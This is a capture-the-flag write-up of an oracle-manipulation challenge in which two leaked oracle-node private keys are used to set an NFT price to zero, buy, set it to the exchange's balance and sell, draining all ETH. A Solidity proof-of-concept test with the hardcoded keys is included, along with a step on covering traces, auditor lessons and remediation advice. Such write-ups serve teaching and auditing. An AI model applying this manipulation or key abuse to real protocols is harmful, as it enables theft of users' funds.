📉 Compromised - The Oracle Private Key Leak

Challenge Overview

A new NFT exchange is live, with prices determined by a TrustfulOracle. This oracle relies on a median price reported by three trusted nodes.

The Catch: Two leaked hex-encoded strings were found on a web server.

The Goal: Use the leaked information to manipulate the NFT price, buy low, sell high, and drain all ETH from the exchange.

Technical Analysis

Vulnerability 1: Insufficient Price Risk Management

The TrustfulOracle allows trusted nodes to report any price without any bounds or sanity checks:

1
function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
2
    _setPrice(msg.sender, symbol, newPrice);
3
}

There are no checks for price volatility, maximum/minimum values, or time-weighted averages.

Vulnerability 2: Small Median Set (Quorum of 2/3)

The oracle calculates the median price from three sources. To control the median, an attacker only needs to control two out of the three nodes (a simple majority).

Vulnerability 3: Blind Trust in Oracles

The exchange contract trusts the oracle’s median price absolutely for both buying and selling:

1
uint256 price = oracle.getMedianPrice(token.symbol());
2
// Exchange uses this 'price' for all logic without verification

The Exploit: The Double-Decode Heist

1. Extract Keys: The leaked hex strings are double-encoded (Hex -> Base64). Decoding them reveals the private keys for two of the three oracle nodes.
2. Crash the Price:
   • Use the compromised keys to call postPrice(symbol, 0) from both nodes.
   • The median price becomes 0.
3. Buy Low: Purchase an NFT from the exchange for practically nothing.
4. Pump the Price:
   • Use the same keys to call postPrice(symbol, exchange_balance).
   • The median price becomes the entire ETH balance of the exchange.
5. Sell High: Sell the NFT back to the exchange. The exchange checks the “market price” from the oracle and pays out its entire treasury.
6. Cleanup: Reset the oracle prices to their original values to hide the traces (optional, but good for a “professional” thief).

Proof of Concept (PoC)

1
function test_compromised() public checkSolvedByPlayer {
2
    // 1. Decoded private keys from the leaks
3
    uint256 pk1 = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
4
    uint256 pk2 = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
5

6
    // 2. Set price to 0 to buy cheap
7
    vm.prank(vm.addr(pk1));
8
    oracle.postPrice("DVNFT", 0);
9
    vm.prank(vm.addr(pk2));
10
    oracle.postPrice("DVNFT", 0);
11

12
    uint256 tokenId = exchange.buyOne{value: 1}();
13

14
    // 3. Set price to match pool balance to sell high
15
    uint256 exchangeBalance = address(exchange).balance;
16
    vm.prank(vm.addr(pk1));
17
    oracle.postPrice("DVNFT", exchangeBalance);
18
    vm.prank(vm.addr(pk2));
19
    oracle.postPrice("DVNFT", exchangeBalance);
20

21
    // 4. Sell and profit
22
    nft.approve(address(exchange), tokenId);
23
    exchange.sellOne(tokenId);
24

25
    // (Final transfer to recovery follows...)
26
}

Auditor’s Lessons

1. Oracle Security is Infrastructure Security: Private keys for oracle nodes must be stored in hardware security modules (HSMs) and should never appear in server logs or source code.
2. Implement Price Sanity Checks: Use “Circuit Breakers” that pause the contract if the oracle price fluctuates by more than a certain percentage (e.g., 10%) in a short period.
3. TWAP (Time-Weighted Average Price): Use a TWAP instead of a spot price/median. This forces an attacker to maintain the manipulation over many blocks, making it expensive and highly visible.
4. Decentralize Further: A 3-node oracle with a 2-node quorum is extremely fragile. Real-world protocols like Chainlink use dozens of nodes and decentralized data sources.

Remediation

• Volatility Caps: Revert if newPrice is more than 5x different from oldPrice.
• Heartbeat/Delay: Require a minimum time between price updates to prevent instant buy/sell loops.
• Multi-Source Oracles: Combine the custom oracle with a battle-tested one like Chainlink to cross-verify prices.